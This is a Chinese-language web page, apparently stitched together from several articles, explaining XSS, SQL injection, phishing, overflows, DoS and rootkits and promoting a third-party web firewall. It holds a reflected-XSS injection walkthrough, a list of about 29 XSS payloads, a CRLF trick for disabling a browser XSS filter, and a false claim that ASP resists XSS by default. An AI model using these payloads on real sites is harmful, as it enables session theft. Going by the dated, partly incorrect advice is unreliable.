哪有放XSS跨站脚本工具的第三方工具/
不修改网站程序,使用第三方工具来防范XSS跨站式脚本攻击
网站要怎么防范常见的XSS跨站式脚本攻击呢,我们先从XSS跨站式脚本攻击的原理来说起。
网站遭受XSS跨站式脚本攻击的基本原理
1.本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
其攻击过程如下所示:
A给B发送一个恶意构造了Web的URL。
B点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在B电脑上。
具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
A的恶意脚本可以在B的电脑上执行B所持有的权限下的命令。
2反射式漏洞,这种漏洞和本地利用漏洞有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。
其攻击过程如下:
A经常浏览某个网站,此网站为B所拥有。B的站点运行A使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
C发现B的站点包含反射性的XSS漏洞。
C编写一个利用漏洞的URL,并将其冒充为来自B的邮件发送给A。
A在登录到B的站点后,浏览C提供的URL。
嵌入到URL中的恶意脚本在A的浏览器中执行,就像它直接来自B的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在A完全不知情的情况下将这些信息发送到C的Web站点。
3存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
其攻击过程如下:
B拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
C注意到B的站点具有存储式的XXS漏洞。
C发布一个热点信息,吸引其它用户纷纷阅读。
B或者是任何的其他人如A浏览该信息,其会话cookies或者其它信息将被C盗走。
类型A直接威胁用户个体,而类型B和存储式漏洞所威胁的对象都是企业级Web应用。
网站遭受XSS跨站式脚本攻击的基本方式
1. DOM-based cross-site scripting
页面本身包含一些DOM对象的操作,如果未对输入的参数进行处理,可能会导致执行恶意脚本。如下面一些DOM操作:
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
举个例子,假如某个脆弱的页面的代码如下:
HTML
TITLEWelcome!/TITLE
Hi
SCRIPT
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
/SCRIPT
BR
Welcome to our system
…
/HTML
攻击者使用如下的URL访问时,则非常危险:
http://www.vulnerable.site/welcome.html?name=scriptalert(document.cookie)/script
试了一下,貌似IE、FireFox等浏览器默认 对scriptalert(document.cookie)/script进行了编码,阻止了脚本的执行。但是对于 DOM操作还是要更加谨慎啊,比如把上面的页面修改一下,安全性就增强了不少:
SCRIPT
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
/SCRIPT
2. Reflected cross-site scripting
也被称为None-Persistent cross-site scripting,即,非持久化的XSS攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL,当 URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻击,指的是恶意脚本代码被存储进被攻击的数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存入非法数据,恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
实施方式
我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX,发现参数XXX原样的出现在了页面源码中:
1. input type="text" class="efba-1116-d83f-767d Seach" name="w" value="XXX" /
OK,可以开始做文章了,我们将XXX替换为:abc"/scriptalert('haha')/scripta href=",返回的HTML代码如下:
1. input type="text" class="1116-d83f-767d-1fa0 Seach" name="w" value="abc"/
2. scriptalert('haha')/script!--" /
这样,scriptalert('haha')/script被执行了。这里再举例一些XSS攻击行为:
1. IMG SRC="javascript:alert('XSS');"
2. IMG SRC=javascript:alert('XSS')
3. IMG SRC="javascript:alert(String.fromCharCode(88,83,83))"
4. IMG SRC="jav ascript:alert('XSS');"
5. SCRIPT/XSS SRC="http://example.com/xss.js"/SCRIPT
6. SCRIPTalert("XSS");///SCRIPT
7. iframe src=http://example.com/scriptlet.html
8. INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"
9. BODY BACKGROUND="javascript:alert('XSS')"
10. BODY ONLOAD=alert(document.cookie)
11. BODY onload!#$%()*~+-_.,:;?@[/|"]^`=alert("XSS")
12. IMG DYNSRC="javascript:alert('XSS')"
13. IMG DYNSRC="javascript:alert('XSS')"
14. BR SIZE="{alert('XSS')}"
15. IMG SRC='vbscript:msgbox("XSS")'
16. TABLE BACKGROUND="javascript:alert('XSS')"
17. DIV STYLE="width: expression(alert('XSS'));"
18. DIV STYLE="background-image: url(javascript:alert('XSS'))"
19. STYLE TYPE="text/javascript"alert('XSS');/STYLE
20. STYLE type="text/css"BODY{background:url("javascript:alert('XSS')")}/STYLE
21. ?='SCRIPTalert("XSS")/SCRIPT'?
22. A HREF="javascript:document.location='http://www.example.com/'"XSS/A
23. IMG SRC=javascript:alert('XSS')
24. EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"/EMBED
25. a="get";
26. b="URL(""";
27. c="javascript:";
28. d="alert('XSS');"")";
29. eval(a+b+c+d);
总结一下,要防止XSS跨站式脚本攻击主要是要在查询字符串(QueryString),表单数据(PostData)以及Cookie甚至HTTP报头(Header)中防止掉一些javascript关键字和一些敏感的字符(单引号,分号)以及SQL语言的关键字,以及防止他们使用encode编码。
用ASP或者PHP脚本来实现上面的这些想起来就很麻烦。下面就来介绍下用一个第三方工具IISUTM来处理上面我们说到的问题。
准备工作:先去www.iisutm.com下载最新的IISUTM版本。
根据IISUTM网站防火墙安装及操作手册 中的说明把IISUTM部署到你的服务器上来,这里需要注意的是使用Windows 2003+iis6的服务器,需要开启iis中“以IIS5.0 隔离模式运行 www 服务”选项才能正常使用该软件。
安装完成,通过浏览器访问IISUTM的配置管理界面默认的是http://127.0.0.1:8362,这个是私有地址,只能在该服务器上访问,你需要任何地方都能访问的话,可以在安装的时候IP地址的选项那里填入你服务器的公网IP地址,和你所开放的端口。这样你就可以通过你配置的地址进行访问,或者你可以在iis中直接管理名为IISUTM的站点。
登陆管理界面后点击上面导航栏中的“基本设置”,然后点击左边菜单的“防XSS攻击”链接。
开启该链接里所有的选项,选中之后IISUTM会自动保存配置,下面的“使用不允许的发送序列”是该软件提供的XSS攻击关键字的特征库,你可以根据你网站的情况进行更改(最好不要修改)。
确认以上的配置以后,你可以返回到IISUTM管理界面的首页,这里会列出最近服务器遭受到的攻击以及详细,赶紧去看看你的网站是不是随时有人在进行SQL注入吧,以及哪些攻击被IISUTM处理掉了。
XSS(跨站脚本漏洞)谁帮忙修复下,我看着就头大,一窍不通啊。
对于php你可以用htmlentities()函数
例如这样:
?php
echo htmlentities($_POST['abc']);
?
至于asp,默认就能防xss攻击,无需任何操作
有方法能绕过IE11的xss防护机制吗?
较新版本直接绕过比较难,但如果网站存在CRLF漏洞,就可以让服务器返回一个包含X-XSS-Protection并值为0的http头,关闭浏览器的filter,而且CRLF漏洞自身也可以导致xss和session固定等漏洞
XSS是什么
1、XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
2、恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
3、XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。
4、另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当要渗透一个站点,自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
xss攻击的危害有哪些?
跨站脚本 ( Cross-Site Scriptin ) 简称xss,是由于Web应用程序对用户的输入过滤不足而产生的.攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端 Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
其危害有:
1、网络钓鱼,包括盗取各类用户账号;
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
4、强制弹出广告页面、刷流量等;
5、网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;
6、进行大量的客户端攻击,如DDoS攻击;
7、获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
8、控制受害者机器向其他网站发起攻击;
9、结合其他漏洞,如CSRF漏洞,进一步入侵和破坏系统;
10、提升用户权限,包括进一步渗透网站;
11、传播跨站脚本蠕虫等;
WWW弱口令怎么利用
利用某些特殊构造的SQL语句插入SQL的特殊字符和指令,提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),操纵执行后端的DBMS查询并获得本不为用户所知数据的技术,也就是SQL Injection(SQL注入)。
SQL注入是从正常的WWW端口通过对页面请求访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙很少会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
SQL注入的手法相当灵活,可以根据具体情况进行分析,构造巧妙的SQL语句,从而获取想要的数据。
程序存在SQL注入,追其原因,是因为代码或者编码的不完善。但说到底,是程序员的惰性。代码的不完善,往往是因为在程序编写的过程中,没有考虑到代码的健壮性及安全性的结果,就国内现状来看,大多数网站使用的脚本语言,用ASP+Access或SQLServer的占70%以上,PHP+MySQL占20%,其他的不足10%,并且因为开发者水平的参差不齐,代码编写的过程考虑不够周全,程序代码的安全性值得怀疑,而程序脚本被注入也成为必然。
当然,程序运行环境的先天缺陷也是人为的,这种现象无法完全杜绝避免。从攻击者的角度来看,使用SQL注入能够避免绝大多数防火墙的防御,不留攻击痕迹,攻击手法多种多样,因此才会导致SQL注入攻击手段的兴起。
3.1.2、SQL注入的原理及分类
SQL-Injection的原理
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。SQL语言可以修改数据库结构和操作数据库内容。当一个攻击者能够通过往查询中插入一系列的SQL操作数据写入到应用程序中去,并对数据库实施了查询,这时就已经构成了SQL-Injection。
SQL-Injection的分类
由于SQL-injection攻击出要发生在B/S结构的应用程序上,而这些程序大部分都属于互联网的web站点,在这种情况下SQL-Injection同样需要遵循HTTP协议,形成了两种分类: POST方式注入和GET方式注入
3.1.3、SQL-Injection的攻击方法
常规注入方法 SQL注入攻击本身就是一个常规性的攻击,它可以允许一些不法用户检索你的数据,改变服务器的设置,或者在你不小心的时候黑掉你的服务器。
旁注 顾名思义就是从旁注入,也就是利用主机上面的一个虚拟站点进行渗透 ,此类手法多出现与虚拟主机站点。
盲注 通过构造特殊的SQL语句,在没有返回错误信息的情况下进行注入。
跨站注入 攻击者利用程序对用户输入过滤及判断的不足,写入或插入可以显示在页面上对其他用户造成影响的代码。跨站注入的高级攻击就属于这种攻击。
3.1.4、SQL注入的危害
SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站的正常运营和访问该网站的网友都带来巨大危害。
3.1.5、SQL注入漏洞的风险
由于SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。
无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循安全代码进行开发,攻击者将通过80端口进入你的系统。
例如,如果一个网站的数据库系统为SQL Server 2000数据库,同时没有在数据库的权限设置上做好安全限制,将导致严重的后果。SQL注入意味着数据库也会被攻破,入侵者得到当前数据库权限的同时,也获得了整个数据库服务器的管理权限,入侵者可通过数据库管理权限得到系统权限,并为所欲为。
再者,很多网站的管理后台都可经由公网直接访问到后台管理登录页面,并且可通过暴力猜解等方式对后台管理账户进行猜解。对于任何一个网站的后台管理登录页,安全的做法应该是限制访问。尤其是对于政府及银行网络来说,更不应该将后台管理页面放置到公网上任由访问,这样的话安全系数会大大减少,遭受攻击的机会却大大增加了。
3.2、网络钓鱼
网络钓鱼(Phishing)一词,是“Fishing”和“Phone”的综合体,由于黑客始祖起初是以电话作案,所以用“Ph”来取代“F”,创造了”Phishing”,Phishing 发音与 Fishing相同。 “网络钓鱼”就其本身来说,称不上是一种独立的攻击手段,更多的只是诈骗方法,就像现实社会中的一些诈骗一样。
攻击者利用欺骗性的电子邮件和伪造的Web站点来进行诈骗活动,诱骗访问者提供一些个人信息,如信用卡号、账户用和口令、社保编号等内容(通常主要是那些和财务,账号有关的信息,以获取不正当利益),受骗者往往会泄露自己的财务数据。
诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌,因此来说,网络钓鱼的受害者往往也都是那些和电子商务有关的服务商和使用者。
3.2.1、网络钓鱼工作原理
现在网络钓鱼的技术手段越来越复杂,比如隐藏在图片中的恶意代码、键盘记录程序,当然还有和合法网站外观完全一样的虚假网站,这些虚假网站甚至连浏览器下方的锁形安全标记都能显示出来。网络钓鱼的手段越来越狡猾,这里首先介绍一下网络钓鱼的工作流程。通常有五个阶段:
网络钓鱼的工作原理
3.2.2、“网络钓鱼”的主要手法
a、发送电子邮件,以虚假信息引诱用户中圈套
诈骗分子以垃圾邮件的形式大量发送欺诈性邮件,这些邮件多以中奖、顾问、对账等内容引诱用户在邮件中填入金融账号和密码,或是以各 种紧迫的理由要求收件人登录某网页提交用户名、密码、身份证号、信用卡号等信息,继而盗窃用户资金。
例如今年2月份发现的一种骗取美邦银行(Smith Barney)用户的账号和密码的“网络钓鱼”电子邮件,该邮件利用了IE的图片映射地址欺骗漏洞,并精心设计脚本程序,用一个显示假地址的 弹出窗口遮挡住了IE浏览器的地址栏,使用户无法看到此网站的真实地址。当用户使用未打补丁的Outlook打开此邮件时,状态栏显示的链接是虚假的。
当用户点击链接时,实际连接的是钓鱼网站http://**.41.155.60:87/s。该网站页面酷似Smith Barney银行网站的登陆界面,而用户一旦输入了自己的账号密码,这些信息就会被黑客窃取。
b、建立假冒网上银行、网上证券网站,骗取用户账号密码实施盗窃
犯罪分子建立起域名和网页内容都与真正网上银行系统、网上证券交易平台极为相似的网站,引诱用户输入账号密码等信息,进而通过真正的网上银行、网上证券系统或者伪造银行储蓄卡、证券交易卡盗窃资金;还有的利用跨站脚本,即利用合法网站服务器程序上的漏洞,在站点 的某些网页中插入恶意html代码,屏蔽住一些可以用来辨别网站真假的重要信息,利用cookies窃取用户信息。
如曾互联网上出现过的某假冒银行网站,网址为http://www.1cbc.com.cn/,而真正银行网站是http://www.icbc.com.cn/,犯罪分子利用数字1和字母i非常相近的特点企图蒙蔽粗心的用户。
又如2004年7月发现的某假公司网站(网址为http://www.1enovo.com/),而真正网站为 http://www.lenovo.com/,诈骗者利用了小写字母l和数字1很相近的障眼法。诈骗者通过QQ散布“XX集 团和XX公司联合赠送QQ币”的虚假消息,引诱用户访问。
c、利用虚假的电子商务进行诈骗
此类犯罪活动往往是建立电子商务网站,或是在比较知名、大型的电子商务网站上发布虚假的商品销售信息,犯罪分子在收到受害人的购物汇款后就销声匿迹。如2003年,罪犯佘某建立“奇特器材网”网站,发布出售间谍器材、黑客工具等虚假信息,诱骗顾主将购货款汇入其用虚假身份在多个银行开立的账户,然后转移钱款的案件。
除少数不法分子自己建立电子商务网站外,大部分人采用在知名电子商务网站上,如“易趣”、“淘宝”、“阿里巴巴”等,发布虚假信息,以所谓“超低价”、“免税”、“走私货”、“慈善义卖”的名义出售各种产品,或以次充好,以走私货充行货,很多人在低价的诱惑下上当受骗。网上交易多是异地交易,通常需要汇款。不法分子一般要求消费者先付部分款,再以各种理由诱骗消费者付余款或者其他各种名目的款项,得到钱款或被识破时,就立即切断与消费者的联系。
d、利用木马和黑客技术等手段窃取用户信息后实施盗窃活动
木马制作者通过发送邮件或在网站中隐藏木马等方式大肆传播木马程序,当感染木马的用户进行网上交易时,木马程序即以键盘记录的方式获取用户账号和密码,并发送给指定邮箱,用户资金将受到严重威胁。
如去年网上出现的盗取某银行个人网上银行账号和密码的木马Troj_HidWebmon及其变种,它甚至可以盗取用户数字证书。又如去年出现的木马“证券大盗”,它可以通过屏幕快照将用户的网页登录界面保存为图片,并发送给指定邮箱。黑客通过对照图片中鼠标的点击位置,就很有可能破译出用户的账号和密码,从而突破软键盘密码保护技术,严重威胁股民网上证券交易安全。
e、利用用户弱口令等漏洞破解、猜测用户账号和密码
不法分子利用部分用户贪图方便设置弱口令的漏洞,对银行卡密码进行破解。如2004年10月,三名犯罪分子从网上搜寻某银行储蓄卡卡号,然后登陆该银行网上银行网站,尝试破解弱口令,并屡屡得手。
实际上,不法分子在实施网络诈骗的犯罪活动过程中,经常采取以上几种手法交织、配合进行,还有的通过手机短信、QQ、msn进行各种各 样的“网络钓鱼”不法活动。
3.3、跨站攻击
XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入Web里面的html代码会被执行,从而达到攻击者的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人经常忽略其危害性。
就攻击者而言,可以把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:DVBBS的showerror.asp存在的跨站漏洞。另一类则是来自外部的攻击,主要指的攻击者构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当攻击者要渗透一个站点,攻击者构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。这种方式太过于落后,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。
当发动CSS攻击或检测一个网站漏洞的时候, 攻击者可能首先使简单的HTML标签如b(粗体),i(斜体)或u(下划线),或者他可能尝试简单的script标签如scriptalert("OK")/script。因为大多数出版物和网络传播的检测网站是否有css漏洞都拿这个作为例子。这些尝试都可以很简单的被检测出来。
然而,高明点的攻击者可能用它的hex值替换整个字符串。这样script标签会以%3C%73%63%72%69%70%74%3E出 现。 另一方面,攻击者可能使用web代理服务器像Achilles会自动转换一些特殊字符如换成%3C换成%3E。这样攻击发生时,URL 中通常以hex等值代替角括号。
3.4、溢出漏洞
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名为“缓冲区溢出漏洞”。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。它一般是由于编成人员的疏忽造成的。具体的讲,溢出漏洞是由于程序中的某个或某些输入函数(使用者输入参数)对所接收数据的边界验证不严密而造成。
根据程序执行中堆栈调用原理,程序对超出边界的部分如果没有经过验证自动去掉,那么超出边界的部分就会覆盖后面的存放程序指针的数据,当执行完上面的代码,程序会自动调用指针所指向地址的命令。根据这个原理,恶意使用者就可以构造出溢出程序。
大多数应用程序保存数据的存储地址大小是固定的。如果攻击者向这些存储区域之一中发送了过量数据,而程序没有检查数据的大小,则会发生溢出。攻击者针对这一特点发出的攻击称为缓冲区溢出攻击。
缓冲区是用户为程序运行时在计算机中申请得的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。
而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,然后植入到缓冲区,而再向一个有限空间的缓冲区中植入超长的字符串可能会出现两个结果,一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另有一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。大多造成缓冲区溢出的原因是程序中没有仔细检查用户输入参数而造成的。
缓冲区溢出问题并非已成古老的历史,缓冲区溢出攻击已成为最常用的黑客技术之一。引起缓冲区溢出问题的根本原因是C(与其后代C++)本质就是不安全的,没有边界来检查数组和指针的引用,也就是开发人员必须检查边界(而这一行为往往会被忽视),否则会冒遇到问题的风险。标准C库中还存在许多非安全字符串操作,包括:strcpy()、sprintf()、gets()等,这些都是程序员需要注意的。
3.5、拒绝服务攻击
网络安全中,拒绝服务攻击(DOS)以其危害巨大,难以防御等特点成为骇客经常采用的攻击手段。DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。
3.5.1、被拒绝服务攻击时的现象
最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,大量攻击包导致网络带宽被阻塞,合法网络包被虚假的攻击包淹没而无法到达主机,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求就无法通过。连通性攻击指用大量的连接请求冲击计算机,通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供网络服务,使得所有可用的操作系统资源都被消耗殆尽,最终服务器无法再处理合法用户的请求。
如何判断网站是否遭受了流量攻击呢?可通过Ping命令来测试,若发现Ping超时或丢包严重(假定平时是正常的),则可能遭受了流量攻击,此时若发现和你的主机接在同一交换机上的服务器也访问不了了,基本可以确定是遭受了流量攻击。当然,这样测试的前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽,否则可采取Telnet主机服务器的网络服务端口来测试,效果是一样的。不过有一点可以肯定,假如平时Ping你的主机服务器和接在同一交换机上的主机服务器都是正常的,突然都Ping不通了或者是严重丢包,那么假如可以排除网络故障因素的话则肯定是遭受了流量攻击,再一个流量攻击的典型现象是,一旦遭受流量攻击,会发现用远程终端连接网站服务器会失败。
相对于流量攻击而言,资源耗尽攻击要容易判断一些,假如平时Ping网站主机和访问网站都是正常的,发现突然网站访问非常缓慢或无法访问了,而Ping还可以Ping通,则很可能遭受了资源耗尽攻击,此时若在服务器上用netstat -an命令观察到有大量的SYN_RECEIVED、TIME_WAIT、FIN_WAIT_1等状态存在,而ESTABLISHED很少,则可判定肯定是遭受了资源耗尽攻击。还有一种属于资源耗尽攻击的现象是,Ping自己的网站主机Ping不通或者是丢包严重,而Ping与自己的主机在同一交换机上的服务器则正常,造成这种原因是网站主机遭受攻击后导致系统内核或某些应用程序CPU利用率达到100%无法回应Ping命令,其实带宽还是有的,否则就Ping不通接在同一交换机上的主机了。
3.5.2、总结为以下几个典型特徵:
被攻击主机上有大量等待的TCP连接
网络中充斥着大量的无用的数据包,源地址为假
制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯
利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的
服务请求,使受害主机无法及时处理所有正常请求
严重时会造成系统死机
在2006年,拒绝服务攻击已经被提升到了利用僵尸网络BotNet进行大批量攻击的层次,其严重程度已经达到了阻塞国内网络的程度。根据今年上半年监测的数据,中国拥有的“僵尸网络”电脑数目最多,全世界共有470万台,而中国就占到了近20%。而据国内不完全统计,中国拥有的“僵尸网络”电脑数量达到120万台,其严重性已不可忽视。
3.6、社会工程学
我们通常把基于非计算机的欺骗技术叫做社会工程。社会工程中,攻击者设法设计让人相信它是其他人。这就像攻击者在给人打电话时说自己是某人一样的简单。因为他说了一些大概只有那个人知道的信息,所以受害人相信他。
社会工程的核心是,攻击者设法伪装自己的身份并设计让受害人泄密私人信息。这些攻击的目标是搜集信息来侵入计算机系统的,通常通过欺骗某人使之泄露出口令或者在系统中建立个新帐号。其他目标使侦察环境,找出安装了什么硬件和软件,服务器上装载了什么补丁等等。
通过社会工程得到的信息是无限的,其严重程度亦可从大量用户被网络钓鱼事件中窥见一斑,攻击者可利用网络钓鱼获得的信息尝试用户信箱及即时通讯工具的账户,从而获取有用的信息。
4、2007年黑客攻击水平会发展到惊人的程度之上
虽然Botnet在最近几个月引发了大量的垃圾邮件,但是,安全研究人员更警惕的是垃圾邮件的高级水平。安全人员警告说,有针对性的钓鱼攻击正在进入企业电子邮件服务器。
垃圾邮件已经达到了我们通常所说的商业级产品的水平。我们已经看到了这种活动的变化。现在,Botnet发出大量单独的垃圾邮件。
根据MessageLabs的统计,今年11月份全球垃圾邮件的通信量已经增长到了占全球电子邮件通信量的90%。这个百分比预计在今年12月份将继续保持下去。
此外,在200封电子邮件中至少有一封电子邮件包含钓鱼攻击的内容。最近拦截的恶意电子邮件中,有68%以上的恶意邮件是钓鱼攻击邮件,比过去的几个月增长了。
安全研究人员预计,2007年将是攻击的高级程度发展到惊人的水平的一年。
攻击者将搜索MySpace等社交网络网站,窃取地址、地区号码和其他身份数据以便使钓鱼攻击电子邮件让受害者看起来像真的一样。
在许多情况下,坏分子可能使用银行的地址,让受害者以为电子邮件是从银行发出来的,从而使钓鱼攻击获得成功。这些坏分子将抢劫大型社交网络团体的数据库,利用垃圾邮件成功地实施攻击。
安全公司赛门铁克的高级工程经理Alfred Huger说,每一天发生的钓鱼攻击的企图高达700多万起,并称,不成熟的钓鱼攻击已经显著增加到了每天900起以上。
攻击者将从住在同一个地区的人们那里收集电子邮件地址。然后,攻击者向受害者发出一封钓鱼攻击电子邮件。这种电子邮件表面上看好像是从那个地区的银行或者其它金融机构那里发来的。进入到2007年,Huger预测,钓鱼攻击将变得更加有针对性并且更难发现其欺骗性。
可信赖的因素非常高,人们更容易成为这种攻击的猎物,因为人们想不到自己的银行会参与这种事情。
随着具有电子邮件和其它消息功能的手机的应用,使用短信实施的钓鱼攻击在2007年也将增长。我们的手机现在已经成为微型的计算机,任何在台式电脑上发生的事情都可能对我们的手机产生影响。一些企业已经开始制定有关移动设备
使用的政策,还有一些企业没有制定这种政策。中间地带并不大。
企业和消费者能够采取基本的措施进行反击。金融机构将改善身份识别功能和加强教育的努力,以便帮助客户理解他们的银行什么时候将与他们进行合法的联系。消费者可以向赛门铁克反钓鱼攻击网站举报钓鱼网站以便与网络诈骗作斗争。
Rootkit在增长
攻击者在2006年更广泛地应用rootkit技术。这种技术的应用在2007年将继续增长。rootkit是一种软件工具集,能够让网络管理员访问一台计算机或者一个网络。一旦安装了rootkit,攻击者就可以把自己隐藏起来,在用户计算机中安装间谍软件和其它监视敲击键盘以及修改记录文件的软件。虽然微软发布的Vista操作系统能够减少某些rootkit的应用,但是,rootkit的使用在2007年将成为标准。据赛门铁克称,用户模式rootkit策略目前已经非常普遍。内核模式rootkit的使用也在增长。
Rootkit是一种功能更强大的工具。我们将看到更多的rootkit,因为安全产品正在变得越来越强大,攻击者不得不提高赌注。
XSS攻击原理是什么
Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点。
诸如此类,唯一能完全杜绝xss攻击的方法,就是禁用script,img等,显然这是不靠谱的,用户需要丰富的页面内容;当然我们可以用一些方法预防xss攻击,尽量减少xss造成的危害。
XSS攻击的危害包括
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击
跨站脚本攻击是什么意思?
跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。